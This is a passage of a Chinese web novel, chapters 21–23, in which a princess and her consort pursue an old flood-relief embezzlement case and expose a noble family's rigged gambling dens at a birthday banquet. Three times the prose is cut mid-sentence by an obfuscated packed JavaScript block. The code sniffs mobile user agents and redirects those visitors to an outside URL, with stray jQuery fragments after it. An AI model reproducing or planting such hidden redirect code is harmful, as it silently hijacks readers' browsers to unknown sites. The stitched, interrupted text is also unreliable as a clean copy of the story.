徐危满目诧愕,清澈的茶汤在他脚边缓缓淌开,浸湿了他垂落的衣角,而夜幕里,一缕阴森森的黑气缠进了星群之中,正张牙舞爪地逼近那颗温润明亮的「天乙贵人星」。 21. 赴宴 不到一日,江南水患案的卷宗便送到了公主府上。 萧璟望着书案上那几摞堆得高高的案卷,感觉肩都沉了几分,她叹了口气,吩咐芷萝备下热茶提神,便埋头扎进密密麻麻的账册和案录中。 卷宗的封皮异常干净,明明是五年前的旧案,可纸页边缘竟连一点卷边都没有,若非五年光阴在这些纸张上烙下了褪不去的暗黄色,她甚至要疑心这是大理寺「新鲜出炉」的作品。 陆惊澜端着一碟糕点,不知何时不声不响地蹭到了她身边,举起一块递到她唇边,笑道:“殿下,小厨房新做的玉露团子,可甜了,尝一口吧。” 萧璟哪里有胃口,她蹙着眉,稍稍偏过头躲开那块糕点,目光仍然黏在手中的账本上:“你先吃吧,我再看看这些账目。” 他笑着收回了手,慢悠悠地送进了自己口中,细细咽下后才道:“殿下看了一整天,可看出什么名堂?” 萧璟将账本轻轻合上,揉了揉眉心:“人证物证齐全,账目更是毫无错处。” 她轻蔑一笑,“当真是「铁证如山」。” 陆惊澜点了点头,“此案早已盖棺定论,若是卷宗有破绽,那岂不是大理寺办事不力?” 萧璟不是不知,想从这些经过大理寺反复审阅的卷宗里找到翻案的线索,无异于痴人说梦。 唯有一沓泛黄的兑银簿记还值得翻一翻,里头的纸样形形色色,来自江南不同字号的钱庄,但边缘都磨损得厉害,记录的时间横跨多年,算得上是这摞「铁证」里最像证据的一份。 上头明晃晃地记着沈岳钟于何时何地,兑现了何等面额的银票,萧璟只粗粗扫了一眼,那金额便让她忍不住倒吸了一口凉气。 更让她感觉触目惊心的,是每一笔兑现记录旁,都赫然印着沈岳钟的私印和亲笔署名。 “贪了这么多啊?”陆惊澜瞥了过来,望见那数字的瞬间眼睛都瞪大了些。 他又给自己塞了块糕点,腮帮子鼓鼓的,含糊道,“臣还记得去年朝廷给漠北军拨了二十万两军饷,那运饷银的车队浩浩荡荡的,得有半里地了。” 他凑了过来,歪着脑袋问道,“沈岳钟贪这么多银子,往哪搁啊?” 萧璟见他吃得这么香,没忍住拿了一块,小口咽着,“这便是最大的疑点,沈家被抄后,这些赃银竟不知去向。” “更何况,他若真贪了,会蠢到每次都用自己的亲印去兑银么?” 话音刚落,隔着门扉传来两声轻叩,沈如意的声音有些发紧,像根绷了许久的弦。 “殿下,可否让民女看看那账簿?” 萧璟和陆惊澜对视一眼,默契地擦了擦嘴角的糕点屑,才道:“沈姐姐,进来吧。” 沈如意接过簿册,指尖一一拂过那些久远的记录,最后停在父亲的名字旁,眼泪顺着她的脸颊无声滑落,手止不住地颤抖。 “这印,是真的。” 她停顿了许久,才又艰难挤出几个字,“这笔迹,也是父亲的。” 萧璟一时心神剧震,不知该如何应答。 沈如意抬起泪眼,可目光异常清亮坚定,“殿下,我信这印,信这字迹,可我不信父亲会贪。” “父亲出身寒微,最知民生疾苦,他一心都扑在修堤治水上,逢年过节仍在堤上巡查,平日里对着工程草图的时间,比对着我这个女儿还多些。” “殿下,这样一个人,怎么可能为了银子去牺牲自己真心坚守的东西呢?” 萧璟上前一步,握住她不断颤抖的手,安抚道:“沈姐姐,你莫着急,这些兑银记录若真出自沈大人之手,反而给了我们调查方向。” “能吞下如此大手笔的银子,不是田庄地产,便是古董珍宝,可查抄沈家却一无所获,这只能说明,这些银两是真的流向了河堤。” 沈如意紧紧回握住她的手,眼含泪光。 陆惊澜沉吟道:“不错,殿下此言让臣想起军中有一特例,若为应急或保密,主将可用私印调度物资,事后再行补报。沈大人此举,倒很像「非常之时的非常之法」。” “可那毕竟是军中的特例,父亲此举,终究是……”沈如意哽咽道。 陆惊澜淡淡接过,“是,终究是违了朝廷律法。” “非常之时便是关键。”萧璟眼神清明,问道,“沈姐姐,那几年江南水患频发,你可还有印象,在这些兑银记录前后,沈大人可曾提过在拨款或是工期上遇到什么难以解决的困境?” 她又补充道,“若沈大人此举真是为公,事后必定有补报的文书,可那些文书并不在卷宗中,多半是在某些环节被「截留」了。” 沈如意拭去眼角的泪,思索道:“父亲处理公务时,一向不喜旁人在侧,不过我偶然间听他念叨过几次,说什么「汛期不等人,规矩压死人」……” “规矩?”萧璟追问道,“什么规矩?是户部拨款的规矩,还是工部审批的规矩?可曾提过什么官职或是人名?” 沈如意面露难色,紧锁着眉头,最终还是摇了摇头。 萧璟不免叹了口气,道:“若是能找到当年在沈大人手下做事的官吏,说不定会有线索,只是……” 她没说下去,因为那卷宗上一清二楚地写着,涉事官员,无论官职大小,一律处斩。 陆惊澜开口道:“处斩的皆是朝廷官员,那些不在官场的呢?河工,匠人,总还有了解当年实情的人在。” 萧璟点点头:“我们在京城,只能看到这些冷冰冰的文书账册,都不知它们过了几道手。若想看到真东西,必得派人去江宁当地寻访。” “有些人心,是外力改不了的。” 沈如意无力地摇摇头:“大海捞针,谈何容易?五年了,就算有人肯站出来,可一介草民之言,如何撼动这如山铁案?” 萧璟:“再难也得试试,这案子如同一块铁板,可再硬的铁板也有接缝处,我们要做的便是寻到那处缝隙……” 她抬眸,目光坚定,“然后,撬开它。” “殿下莫急。”陆惊澜不紧不慢道,“今日二哥来送卷宗的时候不是说了么,已经派了心腹往江宁去了,咱们且等等二哥的消息。” * 江宁的线索还杳无音信,柳家的寿宴已如期而至。 才刚起身,萧璟便是满心的烦闷,那股郁气一路从脾胃攀了上来,在她那张容颜姣好的面庞上弥漫开来,眼角眉梢都透着几丝倦色,再换上那身胭脂色的缠枝莲纹宫装,浑然一枝不知从哪儿受了风催雨打的牡丹,还有些蔫蔫的。 陆惊澜倒是兴致勃勃,捧着好几套颜色各异的锦袍,选了又选,比了又比,最后带着求助的目光望向她:“殿下,臣穿哪一身好看些?” 萧璟懒懒地抬了下眼皮,目光快速扫了扫,指着其中一套凝夜紫的道:“这身吧,你平日甚少穿这样的颜色。” 不过半盏茶的功夫,萧璟便听得陆惊澜从屏风后阔步走出,伴着整理衣襟的窸窣声,他扬声道:“殿下看看可好?” 她闻言侧首,面上那层郁气却在望见他的那一瞬,倏地散了。 一身深紫锦袍,衬得他丰神俊朗,气度不凡,虽眉眼含笑,却莫名让人觉得多了几分沉稳之感。 萧璟忍不住翘起嘴角,笑道:“本宫眼光不错。” 陆惊澜面上的雀跃掩都掩不住,脚步轻快地迎了上来,俯身撑在她妆台边,对着铜镜打量了好一番,认真道:“今日得束青玉冠,才堪相配。” 萧璟正在画眉,她望着那个蓦然闯入,又占去她大半个铜镜的身影,忍不住睨了他一眼:“陆惊澜,又不是第一回赴宴,至于这般上心么?” 他的眼睛还黏在铜镜上,嘴角扬起,“自然要上心,臣如今是驸马,若是衣冠装束不得体,岂非丢殿下的人?” 萧璟嘴角一抽:“得体?你今日打扮得比上朝都隆重。” 陆惊澜微微一挑眉,笑着转向她,“那是因为殿下不去朝会,若是殿下在,臣定然装束得比今日隆重十倍。” 萧璟此时毫无防备,只觉侧脸被一股突然靠近的气息柔柔擦过,她情不自禁偏头躲了一下。 芷萝正全神贯注地替她描着眉,那支螺子黛便顺着这意外又突然的一躲,在她眉尾划出一道又长又黑的痕迹。 萧璟先是一懵,望着镜中那道滑稽却无比清晰的眉形,怒意上涌:“陆惊澜!” “臣错了,臣错了!”他慌忙从袖中掏出丝帕,对着她这张「长眉入鬓」的脸畏畏缩缩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128359|193963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,想擦又不敢擦,“殿下别急,臣来补救。” 正当他要把那张帕子整个覆上来时,在一旁憋笑的芷萝终于忍不住了,拦了下来,“驸马,您这样擦的话,只怕殿下今日的妆容就全毁了。” 他举着帕子,茫然道,“那怎么办?” 芷萝收起笑意,轻轻将还在瞪眼的萧璟转了回来,“让奴婢来吧。” 说罢,她从妆奁中取出几块小巧的棉布,蘸过清水,才小心翼翼地从萧璟鬓边一点一点擦去那些黑痕,痕迹淡去,她再拾起螺子黛细细描着,眉峰高耸,形如新月。 萧璟放心地闭着眼,微微仰起脸配合芷萝的动作,可藏在裙摆下的脚却不安分地踢了踢陆惊澜,冷声哼道:“好好学着点。” 陆惊澜在一旁连忙点头,眼睛一眨不眨地盯着,“遵命,臣一定好好学。” 她还未睁开眼,他又开口道,声音沉了些,“殿下今日定是又要艳冠群芳的。”他顿了顿,嗓音压得更低,“殿下这眉画得极好,若再抱起琵琶,只怕…只怕叫人移不开眼。” 萧璟脸上漾开笑意,得意地反问道:“驸马是怕本宫抢了你的风头?” 话音落下,她听见一声极轻的叹息声,随即是他重新扬起的嗓音,“是,臣怕被比下去。” 萧璟的嘴角翘得更高了些,“驸马放宽心吧。”她掀开眼帘,对上他那双专注凝望的眸子,叹了口气,幽幽道,“有三哥在,咱俩都得被比下去。” 陆惊澜眼底的温柔倏然间一怔,只听得“扑哧”一声,芷萝没忍住笑出了声。 “殿下还记着那事呢,”她努力压着嘴角,向陆惊澜解释道,“驸马您有所不知,去年中秋节,殿下在东安湖放花灯为边关将士们祈福,本来一切都好好的,可谁知睿王殿下赶来凑热闹,才一露脸便引得同心桥上的姑娘们争相踮脚张望,推搡间竟有几位姑娘不慎跌入湖中,当时乱成一团,侍卫们忙着下水救人,把殿下放的花灯搅得七零八落……” 萧璟咬着牙,恨恨道:“三哥最后还一脸无辜地问我,五妹你放的灯呢?” “本宫当时真想一脚把他踹进湖里,去陪本宫那些沉底的花灯。” “边关将士…祈福……”陆惊澜小声念着,忽然低笑了一声。 萧璟没好气地瞪了他一眼,“你还笑?” 陆惊澜抿唇忍笑,望着她气鼓鼓的脸,轻声道,“臣只是在想,虽然花灯沉了,但殿下的心意应该是送到了。” * 萧璟和陆惊澜抵达柳府时,已是姗姗来迟,柳文渊依然在府门口候着,面上毫无不悦之意,恭敬道:“长公主殿下携驸马亲临,实令寒舍蓬荜生辉,二位请上座。” 天朗气清,柳家特意将寿宴设在府中别苑,假山环绕,流水潺潺,树繁花茂,倒是比寻常宫宴更添几分自然意趣。 柳文渊一面引路,一面热情道:“听闻殿下有意为家母抚弦贺寿,臣受宠若惊,思来想去唯有将宴席布置得雅致些,才配得上殿下清音。” 萧璟扫了一眼园景,淡淡道:“柳大人费心了。” 又绕过了几座水榭,几人才抵达寿宴,并无预想的热闹和气,席间一片肃穆,众人敛目垂首,唯有呼吸声清晰可闻。 径直映入萧璟眼帘的便是宴席上首还空着的两个位置,她脚步一顿,视线缓缓移向空位旁侧。 萧启一袭玄色蟠龙暗纹常服,并未像平日那般端坐如仪,他下颌微扬,一手虚虚撑在案上,一手执杯自酌,那张沉静如水的侧脸,在听到长公主驾临的通传声时,依旧不起一丝涟漪。 席上众人起身行礼,萧启不紧不慢地将杯中酒一饮而尽,并未开口,也未转身。 正当她在犹豫间,陆惊澜上前半步,望向那两个空着的座位,压低声音道:“殿下……” 还不等他说完,她抬手制止,随即昂首阔步走向坐席,从容落座,对着身旁的萧启轻轻唤道:“大哥。” 陆惊澜紧随其后,在她另一侧默默落座,微微侧身靠向她,神色陡然严肃了不少。 萧启放下酒杯,目光越过萧璟,先在陆惊澜脸上凌厉划过,但不过短短一瞬,便落回萧璟脸上,眼底化开一片柔和。 “璟妹今日的新月眉,画得极好。” 22. 惊魂 虽是轻飘飘的一句话,可才从萧启口中落下,席间紧绷的气氛便不由得松了几分。 萧璟举起酒杯,浅笑回道:“多谢大哥。” 萧启望着她,将酒杯缓缓执起,至与她的酒杯相同的高度,才轻轻一碰。 兄妹俩对酌一杯,这场寿宴才算正式拉开了序幕。 酒过三巡,丝竹声起,萧启忽地开口问道:“你不问大哥为何来?” 萧璟轻轻吸了口气,将身子坐得更直,轻抬下颌,将目光刻意停在场中的乐师身上,回道:“大哥也没问我为何来?” 话音刚落,她余光瞥见萧启的眼眸暗了下去,嘴角极快地扯了扯。 许是觉得自己这句话过于尖刺,她清了清嗓子,找补道,“三哥那么爱凑热闹的人,倒是没来。” 才一开口,视线便忍不住偷偷移回萧启脸上,她觑着他有些落寞的神色,声音渐渐低了下去。 萧启轻笑了一下,正要开口时,却听得萧璟身后传来一声清脆的“啪”。 萧璟转头望去,陆惊澜神色凝重,眉间凝着一抹化不开的沉郁,手中那只白瓷酒杯,不知为何被他捏得粉碎,他将掌心死死攥着,不留一丝缝隙,可依旧有鲜红的痕迹顺着指缝缓缓淌出,滴嗒滴嗒地落在那堆白瓷碎片上,红得格外刺目。 满席顿时静了下来。 “惊澜!”萧璟忍不住惊呼出声,她慌忙扯过他的手,想检查一下伤势,可他却依旧紧紧攥着手心,任她怎么掰都掰不开。 “臣无事,”他声音哑得厉害,却竭力放轻,目光冷冷地落在萧启那张玩味的脸上,“只是一时失手,扫了殿下雅兴。” 萧璟不知他又在犟些什么,又急又气,冲着身后人吩咐道:“愣着做什么,还不取金疮药和纱布来?” 她的手指依然固执地掰着那只不肯松开的手,声音都快带上哭腔,“你松开手让我看看。” 陆惊澜总算卸了劲,张开掌心,几片细碎的白瓷片深深嵌在手心,混着不断涌出的鲜血,一片模糊。 “驸马……”萧启慢悠悠地晃了晃杯中的酒,浅饮一口,续道,“手劲挺大。” 柳家不敢有丝毫怠慢,干净的纱布和上好的金疮药很快奉了上来。 那些嵌入肉中的小瓷片,已经被萧璟用指尖小心翼翼地拨了出来,陆惊澜才像是回过神来,低下头将手轻轻抽回,语气疏离:“怎敢劳动殿下做这些,臣自己来便好。” 毕竟是战场上淬炼过的人,这点伤对他而言的确微不足道。 他摊开受伤的右手掌心,左手利落地撕下纱布,蘸了蘸清水,快速清理了满手的血痕,又用指尖随意取了一抹金疮药,胡乱在伤处匀开,最后裹上一层干净的纱布,打个结,便算完事。 不过眨眼的功夫,萧璟便看着他做完了这一整套行云流水的动作。 他做得那般熟练,每一个动作都像是重复过千百遍,早刻进了骨子里。 萧璟忽然觉得眼睛一酸。 在他们分别的两年间,受伤这件事或许早成了他的家常便饭。 “殿下待驸马果真是情深意重,一点小伤口也这般上心地看着,这若是上了战场,殿下岂不是要日夜悬心吊胆?” 一个面容方正,眉眼锐利男子开口笑道,年纪约莫刚过而立之年,身着一件玄色华丽长袍,衣身用金线勾出层层叠叠的云纹,做派奢华。 正是柳老夫人的幼子,柳文渊的三弟柳文清。 他明明眼角含笑,却无端端透出几分凶狠,勾唇一笑,声音又放轻了些,可满殿的目光还是被他吸引了过来。 “哦我忘了,驸马如今已不掌兵权,赋闲在家,殿下尽可安心了。” 话刚出口,萧璟本就无处撒的无名火更是蹭地一下涌了上来。 可她还未开口,柳文渊先一步怒斥道:“住嘴!三弟你如今是越发没轻没重了,殿下的事也是你能随口议论的?” 说罢,他又朝着萧璟的方位深深作揖,语气谦卑,“殿下,老臣这个三弟平日口无遮拦惯了,今日家母寿宴,他一高兴又多喝了几杯,现下脑子糊里糊涂,这才出言不逊,还望殿下和驸马海涵。” 萧璟冷笑一声,这两兄弟一唱一和的,倒还挺像那么回事。 “柳大人言重了,”陆惊澜不慌不忙地开口,那张凝重的脸庞倏地柔和下来,他望向萧璟笑了笑,“能让殿下安心,是我这个驸马最大的「福气」。” 他的语气极为坦然,仿佛丝毫没把柳文清方才的挑衅之语放在心上。 萧璟满面的不悦,在他这般温柔的目光下也不免散了些,她挑眉轻笑,应道:“能有驸马陪伴在侧,亦是本宫的福气,大梁的福气,只是不知,是否有人看不惯这福气?” 她一边说着,一边轻轻拉过陆惊澜那只受伤的手,虚虚握着。 柳文渊连忙用衣袖拭了拭额头的细汗,“殿下说笑了,殿下与驸马琴瑟和鸣,确是我大梁之福。”他借着余光狠狠瞪了柳文清一眼,嘴角努了努。 柳文清强压下那股嚣张劲,挤出笑容,抱拳敛目道:“是柳某酒后失言,还望殿下看在今日是家母寿辰的份上,饶过这回罢。” 觑着萧璟面上的恼意并未消减,柳老夫人急忙开口道:“殿下,还请看在老身的面子上,宽恕清儿这回罢。” 柳老夫人溺爱幼子之事萧璟早有耳闻,今日一见更知传闻不虚,难怪养出柳文清这么个整日游手好闲,躺在家族功劳簿上的蠹虫。 她眼眸微动,转向身侧沉默了许久的萧启,问道:“大哥觉得呢?” 萧启唇角扬起的弧度更深,他将酒杯在案上轻轻一放,坐直身子,掸了掸并无褶皱的衣袖,从容道:“中伤驸马,折辱皇室,当斩。” 此言一出,满室气氛瞬间降至冰点。 柳文渊最先反应过来,连连磕头:“晋王殿下恕罪,是臣教弟无方,恳请殿下开恩饶臣弟一命。” 柳老夫人身子一颤,软绵绵地向后仰去,幸得一旁的侍女眼疾手快扶住了她,柳文清的醉意彻底散了,哆哆嗦嗦地瘫坐在地,连句求饶的话都说不利索。 在听到「当斩」那两个字时,萧璟也忍不住瞳孔一震,她倒吸了一口凉气,敛起面上的惊色,望着萧启一片寒霜的脸色,语气和缓了几分,“今日毕竟是老夫人的寿辰,见血……只怕不好。” 陆惊澜平静地插了一句:“多谢晋王殿下好意,不过臣今日是同殿下来贺寿的,此举只怕有违初心。” 萧启微微一笑,眯起眼睛望着陆惊澜,可那双眸子分明更冷了:“驸马还真是仁善啊。” 萧璟沉吟片刻,目光落回席上那个一滩烂泥般的柳文清,决断道,“柳文清,你对驸马出言不逊,本当重罚,念及驸马宽宏大量,又是老夫人寿辰,本宫便饶你一命。” “不过死罪可免,活罪难逃。自明日起,你便去护国寺三跪九叩,抄诵经文三月,为我大梁祈福,聊作弥补。” 柳家人叩首谢恩,柳三那张吓得煞白的脸,总算回过来几分血色,只是端起酒杯的手还不住地轻颤。 这般闹了一番,本就对今日寿宴无甚兴趣的萧璟,心底的不耐烦更重了,她侧首吩咐道:“取本宫的琵琶来。” 她转向面上还带着惊愕的柳老夫人,温柔一笑,“本宫听闻老夫人雅好琵琶,特意备下一曲,权当为老夫人贺寿了。” 席间几位官员捋着胡须,眼带热切,虽说今日寿宴风波迭起,不过借着柳家的光,能见到长公主殿下亲自抚弦,倒是不虚此行。 芷萝将琵琶递过来时,萧璟轻轻拍了拍陆惊澜的手背,才松开一直握着的手,接过琵琶。 宴席上的氛围又变得暖融融的,众人翘首以待,推杯换盏的速度都快了些,负责斟酒的小厮们动作不停,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133577|193963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满殿的贵人间来回穿梭。 萧璟移至殿中,指尖轻挑试音,音色饱满清亮,她正要起手奏曲,身后骤然传来一声“噗——”,紧接着是柳文清惊悚的尖叫声。 她回头望去,只见柳文清脸上满是鲜血,眼睛张得浑圆,连眼角都沾上了血,那血还顺着他惨白的脸不断下滑,甚为骇人。 一个小厮立在他面前,身子僵直,嘴角还残留着喷溅的血迹,他双目呆滞,嘴角却扯出一个极为诡异的笑:“文清兄别来无恙啊,今日,你赌大还是小?” 说罢,他轰然倒地,再无声响。 满席瞬间炸开惊呼,萧璟呆呆地望着满面鲜血,状若疯癫的柳文清,他的双手在空中胡乱挥着,像要赶走什么看不见的东西,嘴里不住地喊着:“不是我,别来找我,不是我……” 她愣在原地,满殿的嘈杂声蓦然远去,她的世界只剩下那片刺目的红,映入她的眸中,再一点一点烙进她脑海里,就在要和她噩梦里喷涌而出的血重叠的那一刻,她的眼前忽然闯进一片深邃的凝夜紫。 “殿下别看。” 陆惊澜的声音不知为何在发抖,他将她紧紧抱住,将那片触目惊心的红彻底隔绝,“别看……” 在熟悉的温度和气息包围下,萧璟终于轻轻呼出了一口气,她将头埋在他怀中,轻轻回抱住他。 隔着单薄的衣料,耳畔传来他的心跳声并不平稳,甚至比她的还乱、还慌。 他……也怕吗? 她没开口问,只是用环在他身后的手,温柔地顺了顺他的背。 “别怕。” 这两个字说出口的瞬间,萧璟都不知为何,她不知他怕不怕,更不知他怕什么,可内心深处有个声音驱使着她说出这两个字,她便说了。 话音才落,一声叹息在她头顶落下,她闭着眼,听着各自慌乱的心跳间错响起,逐渐相融。 迷离的神智重归清明时,殿内的混乱已被控制住,萧璟稍稍从陆惊澜怀里探出头,张望起四周的情况来。 他抱着她的力道并没有减弱分毫,揽着她的手臂反倒是更沉稳了,不再发颤。 柳文清正被几个膀大腰圆的家丁联手摁住,嘴里不知何时塞上了一团棉布,只能发出“嗯嗯”的呜咽声,脸上的血污也被擦去了,可他那双赤红的眼睛,仿佛被方才的血浸透,怎么擦也擦不去。 柳文渊跪在萧启面前,抖如筛糠,颤声回禀道:“晋王殿下,人已经死了。” 萧启面色晦暗不明,他垂着眸,目光在地上那个暴毙身亡的小厮上停留片刻,复而抬起,望向萧璟和陆惊澜,蓦然开口,语调不喜不怒:“事发突然,驸马先带璟妹回府吧,这里本王来料理。” 陆惊澜抱着她的手臂又收紧了些,他迟疑了片刻,正要揽起她时,萧璟按住他的手臂。 对上萧启那双沉如寒潭的眸,她冷静开口道:“本宫无事,不过方才满席都听见柳文清口中一直喊着「不是我」,倒是让本宫好奇,他指的究竟是何事?” 她又将目光移向正在不断挣扎的柳文清,落在那团死死堵着他嘴的棉布上,“这是作甚?是怕他喊出什么不该喊的么?” 柳文渊跪地回话:“殿下,臣弟受了刺激疯言疯语,臣恐污清听才堵上他的嘴。” “疯言疯语?”萧璟冷笑一声,轻轻拍了拍陆惊澜的手臂,示意他松开,她缓缓站起身,行至柳文渊面前,居高临下睨着他,“那柳大人可否替本宫解惑,在场之人皆目睹了方才的情景,为何独独柳文清会疯言疯语?” “还是,他做贼心虚?” 柳文渊重重叩首,背上冷汗狂冒:“殿下明鉴,臣弟…臣弟自幼胆小体弱,方才那小厮离他那般近,这才……” “够了。”萧启冷声打断他的辩解,他深深吸了口气,背着手坐回席位,再开口时声音已无半点温度,“把他嘴里的棉布去了。” 23. 缠斗 这一突如其来的变故,让本就不平静的寿宴彻底被打乱,众人神色戚戚,前来赴宴的悔意都写满了脸,恨不得立即拱手告辞。 可萧启发了话,谁敢提个「走」字。 唯一例外的,大约只有今日宴席的寿星,那位早已吓昏厥过去的柳老夫人,被侍女们七手八脚地搀扶了下去。 剩下的宾客们皆低首下气地坐回席位,小心翼翼地觑着上座几位的脸色。 萧璟面上的惊惧已尽数散去,她端坐如仪,目光锐利地盯着场中的柳三,可无人窥见的桌案下,她正紧紧握着陆惊澜那只未受伤的手,将自己手心的暖意一丝一丝透给他。 倒不是因为她害怕,只是方才他抱她时,那贴在她后腰的掌心凉得刺骨。 萧璟心头微疑:他的手掌平日一向暖乎乎的,又是在夏日里,怎会如此凉? 柳三嘴里的棉布才刚被扯下,便鬼哭狼嚎起来,他一把扑到柳文渊面前,死死扯住他的衣袍下摆,哭喊道:“大哥!沈岳鸣回来了!大哥救我……” 还不等他说完,柳文渊便眼露凶光,狠狠甩了柳三两个耳光,怒声斥道:“胡说八道什么!我看你是失心疯了!” 柳三此刻本就心神大乱,骤然被重重掌掴两下,人登时便昏了过去,嘴里还喃喃道:“不……我没疯,是他,就是他……” 柳文渊也慌了,没想到自己下手如此之重,他蹲下身子,摇着柳三软趴趴的身子,急声唤道:“三弟,三弟……” 萧璟看着这场啼笑皆非的闹剧,忽地笑出声来,“柳大人怎的如此激动?竟连亲弟弟都打昏了。” 席间亦响起小声私语,今日来的宾客里,不乏对当年旧案有所了解的官员,他们自然清楚「沈岳鸣」这个名字背后的份量。 柳文渊见柳三昏迷不醒,也撒了手,他跪在堂中,声音却莫名稳了下来:“殿下明鉴,臣只是怕三弟污言秽语不堪入耳,管教起来手下一时失了轻重。” 话音刚落,一旁查验尸体的侍从忽然仰起头,大声回禀:“二位殿下,有发现。” 他从小厮怀中扯出一块残破不堪的碎布,上头污迹斑斑。 待到呈至几人面前时,萧璟才看清,那根本不是污渍,是血,早已干透的血。 时日久远,原本鲜红的血早已变作深黑色,隐在这块暗色旧布上,若不细看,当真难以察觉这是一封血书。 萧璟一点一点辨认着其上的字迹,边读,边忍不住倒吸了一口凉气。 “柳文渊!”她当着满堂宾客的面扬起那块碎布,目光死死盯着那个额上狂冒冷汗的尚书大人,“这是沈岳鸣的绝笔血书,上面一五一十地写着当年柳文清是如何在赌坊做局害他,你还有何话可说?” 柳文渊浑身一颤,连连叩首,声泪俱下:“殿下,臣不知,臣当真不知!今日之事太过蹊跷,这小厮死得蹊跷,这血书更是来得蹊跷,恳请殿下明察,定是有人污蔑啊!” “污蔑?”一道熟悉的沉稳男声从门外传来,传进了堂中每个人的耳朵里。 萧璟抬头望去,只见萧宏面上挂着一抹轻蔑的笑意,阔步而来,身后还押着几个瑟瑟发抖的中年男子,个个衣着不凡,可周身那股痞气却是什么锦衣华服都掩不住的。 萧宏先朝着上首的萧启抱拳,朗声道:“大哥,我近日得线人密报,京城数家有名的赌坊,竟有庄家暗中操盘做局之事,专引富户子弟入局,待到他们输得血本无归,再扮作「救星」出面放贷。” 他顿了顿,瞥了一眼场中那几个赌坊老板,冷声一笑,“可那贷,是利滚利的高利贷,不知有多少人家被他们逼得倾家荡产,乃至家破人亡。” 他挥了挥手,身后的侍从立即奉上一叠账册与证词,“证据确凿,事不宜迟,我已调派人手将这几家赌坊一并查封了。” 闻言,柳文渊身子一软,慌忙用手扶地才勉强撑住,眼底闪过一丝慌乱,但他随即便紧闭双眼,让人无从窥见他此刻所想所感。 萧启面上未有丝毫波澜,只是瞥了一眼那叠证据,并不打算细看,他执起酒壶,从容不迫地斟了杯酒:“二弟抓了人,该往大理寺带才是,怎的带到柳家寿宴上来了?” 萧宏不紧不慢地回道:“因为这几家赌坊幕后的老板,都是……” 说罢,他这才将目光落在那个昏厥已久的柳三身上,上下打量了好一番,一字一顿道,“柳文清。” 堂中一片哗然,宾客们交头接耳,面上的鄙夷之色藏都藏不住,更有性格直莽者,忍不住轻声啐了啐:“呸,还世家呢,背地里竟干些脏事!” 萧璟坐直身子,盯着堂下头都不敢抬的柳文渊,斥道:“柳文渊,你可知罪?” 柳文渊睁开双眼,眸中一片沉寂,先前那点儿恐慌早已烟消云散,他重重一叩首,声音响亮:“回殿下,臣有罪,臣愚昧糊涂,教弟无方,竟纵得他犯下如此滔天罪行还一无所知,臣实在有罪!” “呵。”萧璟喉间不禁溢出一声嗤笑,“柳尚书还真是明辨是非啊。” 她略一思忖,转向默然独酌的萧启,开口道:“大哥,柳文清操盘做局、害人性命已是证据确凿,那这封血书所言当年旧事,恐怕绝非空穴来风的污蔑。” 萧启微微抬了抬眼皮,语气淡漠:“那璟妹想如何?” 萧璟将那块字字泣血的破布,小心翼翼地在案上摊开,眼神坚定:“查封柳文清名下所有赌坊,倒查历年往来账目,还那些被他们坑害的人一个公道。” 「公道」二字落下,她心底那股怒火仍压抑不住,她将目光再次落在下方的柳文渊身上,冷声续道,“柳尚书执掌户部多年,想必再清楚不过,这些年我大梁为着治 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148429|193963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水、戍边、平乱,国库早已捉襟见肘。” “如今既查抄了这等害人不浅的黑心赌坊,那赌资便一律充入国库吧,也算是造福百姓了。” 柳文渊这番话刺得脸上冷一阵热一阵,偏又不敢有半分忤逆,只能咬着牙恭敬回道:“殿下英明,此举正解国库燃眉之急。” 萧启亦点了点头。 萧璟心中扬起一阵快意,她偏头望向沉默了许久的陆惊澜,俏皮地眨了眨眼。 陆惊澜原本平静的脸,也忍不住露出一个灿烂的笑容。 站在下首的萧宏,将二人之间眉来眼去的小动作尽收眼底,他刻意清了清嗓子,将堂中众人的目光吸引过来,才沉声道:“五妹你有所不知,这些黑心赌坊不仅坑害百姓,还折辱皇室,对你大不敬!” 萧璟不解道:“对我大不敬?” 萧宏点了点头,指着地上昏迷不醒的柳三,满面忿忿不平:“柳三这个混账东西,竟敢拿你的婚事下局,赌你与惊澜几时和离,这不是对你大不敬么?” “什么?”萧璟满目惊诧,声音陡然尖利了几分,“二哥说的莫不是鸿运坊?” 萧宏对她反应如此大有些意外,目光真诚地望着她,肯定道:“是啊,我今日查封的第一家便是鸿运坊,五妹你怎么知道?” 萧璟的心瞬间沉了下去,她强忍着心底的肉疼,咬着牙挤出一个笑,竭力平静道,“我…我偶然听三哥提过一次,确实是家……黑心赌坊!” 可桌下抓着陆惊澜的那只手,没忍住悄悄加重了力道,指甲都快嵌进他手心的肉里。 